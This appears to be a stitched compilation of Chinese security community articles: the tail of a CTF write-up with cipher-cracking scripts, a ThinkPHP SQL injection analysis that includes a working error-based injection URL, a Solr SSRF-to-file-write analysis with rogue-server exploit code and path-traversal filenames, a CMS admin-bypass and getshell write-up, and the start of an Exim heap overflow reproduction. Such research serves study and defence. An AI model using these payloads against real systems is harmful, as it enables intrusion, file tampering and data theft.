得到结果
??41402abc4b2a76b9719d911017c592
发现是开头未知2位的md5，扔到百度去
发现是hello，提交通过第一关，第二关是一个md5碰撞，我们使用github的项目
python3 gen_coll_test.py
得到几百个相同md5的文件，随便挑选两个
得到最后一步
Dear Professional ; Especially for you - this cutting-edge
intelligence ! If you no longer wish to receive our
publications simply reply with a Subject: of "REMOVE"
and you will immediately be removed from our club .
This mail is being sent in compliance with Senate bill
2216 , Title 9 ; Section 306 ! THIS IS NOT MULTI-LEVEL
MARKETING . Why work for somebody else when you can
become rich as few as 35 weeks . Have you ever noticed
more people than ever are surfing the web and people
will do almost anything to avoid mailing their bills
. Well, now is your chance to capitalize on this !
WE will help YOU decrease perceived waiting time by
120% & decrease perceived waiting time by 140% . You
can begin at absolutely no cost to you . But don't
believe us ! Mrs Jones of Minnesota tried us and says
"I was skeptical but it worked for me" . We assure
you that we operate within all applicable laws . Because
the Internet operates on "Internet time" you must act
now ! Sign up a friend and your friend will be rich
too . Warmest regards . Dear Cybercitizen , We know
you are interested in receiving red-hot announcement
! We will comply with all removal requests ! This mail
is being sent in compliance with Senate bill 1619 ;
Title 2 ; Section 301 . This is NOT unsolicited bulk
mail ! Why work for somebody else when you can become
rich within 53 MONTHS ! Have you ever noticed more
people than ever are surfing the web and more people
than ever are surfing the web . Well, now is your chance
to capitalize on this . We will help you use credit
cards on your website plus decrease perceived waiting
time by 150% . The best thing about our system is that
it is absolutely risk free for you ! But don't believe
us ! Mrs Simpson of Washington tried us and says "Now
I'm rich, Rich, RICH" . We assure you that we operate
within all applicable laws ! We beseech you - act now
! Sign up a friend and your friend will be rich too
. Thank-you for your serious consideration of our offer
! Dear Friend ; This letter was specially selected
to be sent to you ! If you no longer wish to receive
our publications simply reply with a Subject: of "REMOVE"
and you will immediately be removed from our mailing
list . This mail is being sent in compliance with Senate
bill 2716 , Title 2 ; Section 306 ! This is a ligitimate
business proposal . Why work for somebody else when
you can become rich inside 33 weeks . Have you ever
noticed more people than ever are surfing the web plus
more people than ever are surfing the web . Well, now
is your chance to capitalize on this ! WE will help
YOU SELL MORE and process your orders within seconds
. You can begin at absolutely no cost to you . But
don't believe us ! Mrs Jones of Kentucky tried us and
says "I was skeptical but it worked for me" ! This
offer is 100% legal ! We implore you - act now . Sign
up a friend and you'll get a discount of 50% . God
Bless .
根据题目描述信息，google一下”垃圾邮件+栅格密码”，得到解密网站[http://www.spammimic.com/decode.shtml进行解密得到](http://www.spammimic.com/decode.shtml%E8%BF%9B%E8%A1%8C%E8%A7%A3%E5%AF%86%E5%BE%97%E5%88%B0)
flag{a0dd1e2e6b87fe47e5ad0184dc291e04}
### 非常简单的流量分析
下载附件，打开流量包过滤`http`
发现robots.txt，进一步分析发现robots.txt，发现存在abc.html
继续分析abc.html
http contains "abc.html"
得到md5字符串和两串DES
md5 0x99a98e067af6b09e64f3740767096c96
DES 0xb19b21e80c685bcb052988c11b987802d2f2808b2c2d8a0d (129->143)
DES 0x684a0857b767672d52e161aa70f6bdd07c0264876559cb8b (143->129)
继续往下分析
发现都是IPSec加密后的流量，尝试使用wireshark和前面的信息进行还原
还原之后发现http带着ascii码，尝试拼接前几个，为flag
于是将38个asiic码提取出来，然后拼接
a = [102,108,97,103,123,50,55,98,48,51,98,55,53,56,102,50,53,53,50,55,54,101,53,97,57,56,100,97,48,101,49,57,52,55,98,101,100,125]
res = ''
for i in a:
res +=chr(i)
print res
## Crypto
### 密码本
拿到题目信息
这个密码本本该只使用一次的，但是却使用了多次，导致密文易被破解
经过一番尝试发现，秘钥的首字母很可能是y，剩下的就靠你了
cip1: rlojsfklecby
cip2: ulakqfgfsjlu
cip3: dpaxwxtjgtay
寻找首字母为y的单词，尝试一下year
key = 'year'
c1 = 'rlojsfklecby'
c2 = 'ulakqfgfsjlu'
c3 = 'dpaxwxtjgtay'
res1 = ''
res2 = ''
res3 = ''
for i in range(len(key)):
res1+=chr((((ord(c1[i])-ord('a'))-(ord(key[i])-ord('a')))%26)+ord('a'))
res2+=chr((((ord(c2[i])-ord('a'))-(ord(key[i])-ord('a')))%26)+ord('a'))
res3+=chr((((ord(c3[i])-ord('a'))-(ord(key[i])-ord('a')))%26)+ord('a'))
print res1
print res2
print res3
得到结果
thos
what
flag
看到thos，猜测下一个是e，即those，测试了一下，发现key此时为`yearo`
得到结果为
those
whatc
flagi
估摸着下一个应该是s，毕竟`flagis`，继续探测出，此时为`yearof`，得到结果
thosea
whatca
flagis
此时没有了头绪，去词典搜一下
尝试了一下，发现key到`yearofthe`为止是有意义的，结果为
thosearea
whatcanyo
flagisacc
看第二个明文，猜测下一个是u，因为what can you，测试得到key为`yearofthep`，明文为
thosearean
whatcanyou
flagisacce
猜测第3个明文是flagisaccess，此时key为`yearofthepig`，解出明文
thoseareants
whatcanyoudo
flagisaccess
我真是服了这个出题人了………………
### hahaha
拿到题目发现是CRC32爆破，使用工具进行如下破解
得到压缩包密码为：
tanny_is_very_beautifu1_
解密后拿到flag.pdf，得到如下信息
需要我们进行排列组合，得到结果的Sha1为
e6079c5ce56e781a50f4bf853cdb5302e0d8f054
排列组合大致如下
1!
2@
{[
}]
asefcghnl
直接刚可能性太多，这里我们知道应该是flag{}样式，所以缩小范围为
1!
2@
sechn
编写如下脚本
import itertools
import hashlib
def sha1(str):
sha = hashlib.sha1(str)
encrypts = sha.hexdigest()
return encrypts
a1 = '1!'
a2 = '2@'
a3 = '{'
a4 = '}'
for str1 in itertools.combinations(a1,1):
for str2 in itertools.combinations(a2,1):
str3 = str1[0]+str2[0]+'sechn'
for i in itertools.permutations(str3):
tmp = (''.join(i))
res = 'flag{'+tmp+'}'
# print sha1(res)
if sha1(res) == 'e6079c5ce56e781a50f4bf853cdb5302e0d8f054':
print res
break
运行后得到flag
flag{sh@1enc}
## 后记
这次脑洞有点大，还有个web没写进去，准备下次好好分析一下XD | 社区文章 |
# 前言
发现自己对tp的底层不太熟悉，看了@phpoop师傅文章有所启发，于是有此文，记录自己的分析过程
希望大师傅们嘴下留情，有分析不对的地方还请师傅们指出orz
# Thinkphp3.2.3
首先开启调试
在
`/Application/Home/Conf/config.php`加上
'SHOW_PAGE_TRACE' => true,
并且添加数据库配置
//数据库配置信息
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'thinkphp', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => '123456', // 密码
'DB_PORT' => 3306, // 端口
'DB_PREFIX' => 'think_', // 数据库表前缀
'DB_CHARSET'=> 'utf8', // 字符集
'DB_DEBUG' => TRUE, // 数据库调试模式 开启后可以记录SQL日志 3.2.3新增
测试数据如下
添加实例代码
用I函数进行动态获取参数
## field
field方法属于模型的连贯操作方法之一，主要目的是标识要返回或者操作的字段，可以用于查询和写入操作
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$age = I('GET.age');
$User = M("user"); // 实例化User对象
$User->field('username,age')->where(array('age'=>$age))->find();
}
}
执行语句相当于
## where
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$age = I('GET.age');
$User = M("user"); // 实例化User对象
$User->where(array('age'=>$age))->select();
}
}
接着请求
`http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age=1`
## 转义代码分析
当我们请求`age=1'`尝试注入的时候
被自动转义了
find函数里，会解析出options
跟入
继续跟进
在`parseSql`里会依此执行函数
发现在`ThinkPHP/Library/Think/Db/Driver.class.php`的函数`parseWhere`里
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
$operate = isset($where['_logic'])?strtoupper($where['_logic']):'';
if(in_array($operate,array('AND','OR','XOR'))){
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate = ' '.$operate.' ';
unset($where['_logic']);
}else{
// 默认进行 AND 运算
$operate = ' AND ';
}
foreach ($where as $key=>$val){
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查询字段的安全过滤
// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
// E(L('_EXPRESS_ERROR_').':'.$key);
// }
// 多条件支持
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
$array = explode('|',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = $this->parseWhereItem($this->parseKey($k),$v);
}
$whereStr .= '( '.implode(' OR ',$str).' )';
}elseif(strpos($key,'&')){
$array = explode('&',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= '( '.implode(' AND ',$str).' )';
}else{
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
}
}
$whereStr .= $operate;
}
$whereStr = substr($whereStr,0,-strlen($operate));
}
return empty($whereStr)?'':' WHERE '.$whereStr;
}
继续跟进`parseWhereItem`
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
此时我们的key是age，val是1，于是执行
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
继续跟进`parseValue`
protected function parseValue($value) {
if(is_string($value)) {
$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';
}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
$value = $this->escapeString($value[1]);
}elseif(is_array($value)) {
$value = array_map(array($this, 'parseValue'),$value);
}elseif(is_bool($value)){
$value = $value ? '1' : '0';
}elseif(is_null($value)){
$value = 'null';
}
return $value;
}
可以发现这里就执行了`escapeString`
返回了转义后的结果
调用栈如下
## 如何注入
既然如此，那么怎么去注入呢，底层就调用了`escapeString`
我们看到`parseWhereItem`函数
在绿色标记的几个判断语句里，是没有调用`parseValue`函数的，也就不会调用到`escapeString`
然后我们又可以看到，exp就是val数组的第一个值
那么我们是不是就能注入了呢
我们修改代码如下
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$age = $_GET['age'];
$User = M("user"); // 实例化User对象
$User->field('username,age')->where(array('age'=>$age))->find();
}
}
这里暂时不用I函数接收参数
传入payload
`<http://127.0.0.1/thinkphp3/index.php?>
我们进入了判断
返回值并没有转义，页面上也能够直接看出来
为什么用exp不用bind呢，因为bind执行后的结果
会拼接一个 `= :` 这显然是对我们注入不利的
那么 我们利用报错注入
http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[0]=exp&age[1]==%271%27%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20%23
成功造成了注入
不过我们接收参数修改为I函数
## I函数
修改代码
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$age = I("GET.age");
$User = M("user"); // 实例化User对象
$User->field('username,age')->where(array('age'=>$age))->find();
}
}
同样的请求发现报错了
在
我们跟进调试一下
function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,'/')){ // 指定修饰符
list($name,$type) = explode('/',$name,2);
}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
$type = 's';
}
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2);
}else{ // 默认为自动判断
$method = 'param';
}
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
case 'path' :
$input = array();
if(!empty($_SERVER['PATH_INFO'])){
$depr = C('URL_PATHINFO_DEPR');
$input = explode($depr,trim($_SERVER['PATH_INFO'],$depr));
}
break;
case 'request' :
$input =& $_REQUEST;
break;
case 'session' :
$input =& $_SESSION;
break;
case 'cookie' :
$input =& $_COOKIE;
break;
case 'server' :
$input =& $_SERVER;
break;
case 'globals' :
$input =& $GLOBALS;
break;
case 'data' :
$input =& $datas;
break;
default:
return null;
}
if(''==$name) { // 获取全部变量
$data = $input;
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}
foreach($filters as $filter){
$data = array_map_recursive($filter,$data); // 参数过滤
}
}
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name];
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,'/')){
if(1 !== preg_match($filters,(string)$data)){
// 支持正则验证
return isset($default) ? $default : null;
}
}else{
$filters = explode(',',$filters);
}
}elseif(is_int($filters)){
$filters = array($filters);
}
if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
if(!empty($type)){
switch(strtolower($type)){
case 'a': // 数组
$data = (array)$data;
break;
case 'd': // 数字
$data = (int)$data;
break;
case 'f': // 浮点
$data = (float)$data;
break;
case 'b': // 布尔
$data = (boolean)$data;
break;
case 's': // 字符串
default:
$data = (string)$data;
}
}
}else{ // 变量默认值
$data = isset($default)?$default:null;
}
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}
首先获取method
然后取age值并赋值给data
接着看是否传入了filter
在手册中也是介绍了
<https://www.kancloud.cn/manual/thinkphp/1841>
这里就是默认的`htmlspecialchars`
关于该函数的一些用法
<https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp>
跟入函数，最终是要调到这个`call_user_func`
调用`htmlspecialchars`处理后，对我们的payload影响不太大，那么继续跟
这里又对是数组data里的两个值`exp`和`$payload`进行了`think_filter`函数的调用
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
这里就对一些sql敏感的东西进行了过滤
此时，我们的`data[0]`是`exp`字符串，这里就匹配了，于是他在`exp`后面加上了一个空格
也就是`exp`
然后我们的payload并没有匹配到
那么自然
到了`parseWhereItem`也就进不了exp那一个判断了，直接进入报错的地方
这样 我们也就没办法再进行注入了
## 总结
也就是说在thinkphp3下，使用了I函数，我们的注入就不太能成功，如果接收参数的时候并没有使用I函数，而是直接接收就传入M函数并实例化，那么我们注入的可能性就更大
# Thinkphp5.0.24
在Thinkphp5里，所有单个字母的函数都被取消了
查询语句变成了
Db::table('think_user')->where('id',1)->find();
于是修改index.php代码
<?php
namespace app\index\controller;
use think\Db;
class Index
{
public function index()
{
$age = $_GET['age'];
$User = Db::name('user');
//为了方便调试我将select设置false
echo $User->where(array('age'=>$age))->select(false);
}
}
接着修改`application/database.php`
'debug' => true,
于是看到查询语句
## 底层过滤
我们改一下代码
<?php
namespace app\index\controller;
use think\Db;
class Index
{
public function index()
{
$age = $_GET['age'];
Db::name('user')->where(array('age'=>$age))->find();
}
}
传入单引号同样被转义，应该也是在select函数里进行了转义
跟入`select`
继续跟进，在parseWhere时，返回了占位符
在select结束后，返回了预编译的sql语句，`:where_AND_age`是占位符
跟入getRealSql
提取age的值
在这里，就发生了转义
if (PDO::PARAM_STR == $type) {
$value = $this->quote($value);
}
跟进quote
里面又调用了`quote`,关于PDO::quote的介绍
[PDO::quote](https://www.runoob.com/php/pdo-quote.html)
会转义特殊字符串，也就是我们的单引号
如果一开始的代码是select()不用false
那么调用栈如下
## insert方法
看了网上有分析该方法存在注入，于是调试
修改代码
<?php
namespace app\index\controller;
use think\Db;
class Index
{
public function index()
{
$username = $_GET['username'];
$User = Db::name('user');
echo $User->where(array('age'=>'13'))->insert(array('username'=>$username));
}
}
跟进`insert`
继续跟进`parseData`
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
if ('*' != $options['field'] && !in_array($key, $fields, true)) {
continue;
}
$item = $this->parseKey($key, $options, true);
if ($val instanceof Expression) {
$result[$item] = $val->getValue();
continue;
} elseif (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch (strtolower($val[0])) {
case 'inc':
$result[$item] = $item . '+' . floatval($val[1]);
break;
case 'dec':
$result[$item] = $item . '-' . floatval($val[1]);
break;
case 'exp':
throw new Exception('not support data:[' . $val[0] . ']');
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}
跟tp3类似的思路
但是，注意这里的拼接
case 'inc':
$result[$item] = $item . '+' . floatval($val[1]);
对`$val[1]`进行了一个`floatval`的强转,那么我们的payload也就不行了
# Thinkphp6开发版
使用composer安装
composer create-project topthink/think=6.0.x-dev tp
然后运行
php think run
访问127.0.0.1:8000
或者直接访问public目录
index.php代码修改
<?php
namespace app\controller;
use app\BaseController;
use think\facade\Db;
class Index extends BaseController
{
public function index()
{
$age = input('get.age');
echo Db::table('think_user')->where(array('age'=>$age))->fetchSql()->find(1);
}
}
跟tp5类似预加载
跟入fetch
跟入getRealSql
这里 调用了`addslashes`对单引号进行了转义
我们再看看其他方法
## insert
修改代码
<?php
namespace app\controller;
use app\BaseController;
use think\facade\Db;
class Index extends BaseController
{
public function index()
{
$age = input('get.age');
echo Db::table('think_user')->where(array('age'=>'15'))->fetchSql()->insert(array('age'=>$age));
}
}
跟进insert
跟入parsedata
同样的处理方式，把payload进行强转，不过取消了exp
# Referer
* [ThinkPHP6.0完全开发手册（预览版）](https://www.kancloud.cn/manual/thinkphp6_0/1037479)
* [ThinkPHP5.0完全开发手册](https://www.kancloud.cn/manual/thinkphp5/135185)
* [ThinkPHP3.2.3完全开发手册](https://www.kancloud.cn/manual/thinkphp/1678)
* [ThinkPHP框架 5.0.x sql注入漏洞分析](https://xz.aliyun.com/t/2257)
* [ThinkPHP3.2.3框架实现安全数据库操作分析](https://xz.aliyun.com/t/79) | 社区文章 |
**作者：Ricter Z@360高级攻防实验室
原文链接：<http://noahblog.360.cn/apache-solr-8-8-1-ssrf-to-file-write/>**
### 0x01. TL; DR
事情要从 Skay 的 [SSRF 漏洞](https://snyk.io/vuln/SNYK-JAVA-ORGAPACHESOLR-1245056)（CVE-2021-27905）说起。正巧后续的工作中遇到了
Solr，我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制（Replication）时，可以传入任意 URL，而 Solr 会针对此
URL 进行请求。
说起主从复制，那么对于 Redis 主从复制漏洞比较熟悉的人会知道，可以利用主从复制的功能实现任意文件写入，那么 Solr
是否会存在这个问题呢？通过进一步的分析，我发现这个漏洞岂止于 SSRF，简直就是 Redis Replication
文件写入的翻版，通过构造合法的返回，可以以 Solr 应用的权限实现任意文件写。
对于低版本 Solr，可以通过写入 JSP 文件获取 Webshell，对于高版本 Solr，则需要结合用户权限，写入 crontab 或者
authorized_keys 文件利用。
### 0x02. CVE-2021-27905
Solr 的 ReplicationHandler 在传入 command 为 `fetchindex` 时，会请求传入的
`masterUrl`，漏洞点如下：
SSRF 漏洞到这里就结束了。那么后续呢，如果是正常的主从复制，又会经历怎么样的过程？
### 0x03. Replication 代码分析
我们继续跟进 `doFetch` 方法，发现会调用到 `fetchLatestIndex` 方法：
在此方法中，首先去请求目标 URL 的 Solr 实例，接着对于返回值的 `indexversion` 和 `generation` 进行判断：
如果全部合法（参加下图的 if 条件），则继续请求服务，获取文件列表：
文件列表包含`filelist`、`confFiles` 和 `tlogFiles` 三部分，如果目标 Solr
实例返回的文件列表不为空，则将文件列表中的内容添加到 `filesToDownload` 中。这里 Solr 是调用的 command 是
`filelist`。
获取下载文件的列表后，接着 Solr 会进行文件的下载操作，按照 `filesToDownload`、
`tlogFilesToDownload`、`confFilesToDownload` 的顺序进行下载。
我们随意跟进某个下载方法，比如 `downloadConfFiles`：
可以发现，`saveAs` 变量是取于 files 的某个属性，而最终会直接创建一个 `File` 对象：
也就是说，如果 file 的 `alias` 或者 `name` 可控，则可以利用 `../` 进行目录遍历，造成任意文件写入的效果。再回到
`fetchFileList` 查看，可以发现，`filesToDownload` 是完全从目标 Solr 实例的返回中获取的，也就是说是完全可控的。
### 0x04. Exploit 编写
类似于 Redis Replication 的 Exploit，我们也需要编写一个 Rogue Solr Server，需要实现几种 commands，包括
`indexversion`、`filelist` 以及 `filecontent`。部分代码如下：
if (data.contains("command=indexversion")) {
response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
response = "Hello World".getBytes();
}
t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()123456789101112131415
返回恶意文件的代码如下：
public static ByteArrayOutputStream makeFileListResponse() throws IOException {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
JavaBinCodec codec = new JavaBinCodec(null);
NamedList<Object> values = new SimpleOrderedMap<>();
NamedList<Object> headers = new SimpleOrderedMap<>();
headers.add("status", 0);
headers.add("QTime", 1);
values.add("responseHeader", headers);
HashMap<String, Object> file = new HashMap<>();
file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
file.put("lastmodified", new Long("123456"));
file.put("name", DIST_FILE);
ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
fileList.add(file);
HashMap<String, Object> file2 = new HashMap<>();
file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
file2.put("lastmodified", new Long("123456"));
file2.put("name", DIST_FILE);
ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
fileList2.add(file2);
values.add("confFiles", fileList);
values.add("filelist", fileList2);
codec.marshal(values, outputStream);
return outputStream;1234567891011121314151617181920212223242526272829303132
其中 `DIST_FILE` 为攻击者传入的参数，比如传入 `../../../../../../../../tmp/pwn.txt`，而
`FILE_NAME` 是本地要写入的文件的路径。攻击效果如下：
* * * | 社区文章 |
## 前言
简单记一下在前段时间的 GKCTF X DASCTF 应急挑战杯中遇到的这个有趣的 CMS，题目不难，但是还蛮有趣的。
## 预期解
进入题目，是一个蝉知 CMS：
访问 admin.php 见到后台：
后台账号密码为弱⼝令 admin/12345，登陆进入，并在设计处存在可以编辑模板的地方：
但是点击保存时发现存在限制：
> 请在服务器创建 /var/www/html/system/tmp/fdbe.txt 文件，如果存在该文件，使用编辑软件打开，重新保存一遍。
但是我们没有服务器的权限所以我发创建这个文件，也就暂时无法执行编辑模块等敏感操作，所以我们要想办法将这个 fdbe.txt
上传或写入进去或者直接绕过这里的限制。
我们发现在设置中存在一个微信设置可以设置你的微信公众号，先胡乱填一下：
点击“已完成接入”作进一步设置：
点击保存后发现可以进一步上传微信二维码：
随便上传一个图片后发现图片名变为了你设置的“原始ID”：
经测试，这里在上传二维码图片时可以进行目录穿越，即我们可以通过修改之前的 “原始ID” 来将图片上传到其他目录。那我们便可以通过这里上传我们的
fdbe.txt 文件：
保存后随便上传一张照片：
然后便可以去编辑模板了：
成功 Getshell 并获得 flag：
## 非预期解
这里应该算不上是一个洞，当时进了后台一直没有找到绕过那个文件判断的方法，始终不能编辑模板。我就到处点啊点，看啊看，突然就 tmd
能编辑了。。。我都不知道是怎么做到的！！！后来复现了好多次才发现了这个非预期。
还是先看到这里，由于存在这个文件验证，我们不能直接编辑模板，要想办法绕过：
我们在设置中发现了“重要操作”选项，发现除了“文件验证”的方法外还有一个“密保问题验证”：
我们勾选这个“密保问题验证”并保存，然后去个人主页中设置一个密保问题：
保存，然后去“设置”里面使用刚刚开启的“密保问题验证”的方式尝试新建一个管理员，这里的作用就是激活刚刚开启的“密保问题验证”：
点击保存即可，然后当前的登录会话变成了经过权限验证后的会话了，此时便可以进行编辑模板等重要操作了：
该 CMS 除了 admin 用户外，还存在一个默认的 `demo/demo` 用户，使用该用户登录同样可以像 admin
用户那样可以完成以上攻击过程，所以如果管理员不禁用该用户的话便会将网站置于危险当中。 | 社区文章 |
# Exim off-by-one漏洞真实环境的利用分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 前言
Exim是基于Linux平台的开源邮件服务器，在2018年2月爆出了堆溢出漏洞（CVE-2018-6789），影响4.91之前的所有版本。该漏洞由研究员Meh发现，并在blog中提供了利用漏洞实现远程代码执行的思路。目前Meh并没有公开漏洞利用代码，但根据其漏洞利用思路，有研究员在docker中搭建漏洞环境，并结合爆破的思路成功实现远程命令执行，并且公布了利用代码，但docker毕竟不是真实环境。虽然也有研究员在Ubuntu的真实环境中对漏洞进行了复现，但细节部分并未解释透彻（可能是我能力水平不够），也没有公布利用代码。
因此，我根据docker环境中的利用脚本，在真实环境中进行了漏洞复现，初次尝试Linux软件漏洞调试，踩了不少坑。下面我将自己的复现过程介绍一下，如有错误，敬请指正。
## 2 环境搭建
### 系统环境
Linux kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.17-1kali1 (2018-02-16) x86_64
GNU/Linux
### 编译环境
ldd (Debian GLIBC 2.27-2) 2.27
### exim安装
> apt-get -y update && \
> DEBIAN_FRONTEND=noninteractive apt-get install -y \
> wget \
> xz-utils \
> make \
> gcc \
> libpcre++-dev \
> libdb-dev \
> libxt-dev \
> libxaw7-dev \
> tzdata \
> telnet && \
> rm -rf /var/lib/apt/lists/*
> wget
> https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz &&
> \
> tar xf exim-4.89.tar.xz && cd exim-4.89 && \
> cp src/EDITME Local/Makefile && cp exim_monitor/EDITME Local/eximon.conf &&
> \
> sed -i ‘s/# AUTH_CRAM_MD5=yes/AUTH_CRAM_MD5=yes/’ Local/Makefile && \
> sed -i ‘s/^EXIM_USER=/EXIM_USER=exim/’ Local/Makefile && \
> useradd exim && make && mkdir -p /var/spool/exim/log && \
> cd /var/spool/exim/log && touch mainlog paniclog rejectlog && \
> chown exim mainlog paniclog rejectlog && \
> echo “Asia/Shanghai” > /etc/timezone && \
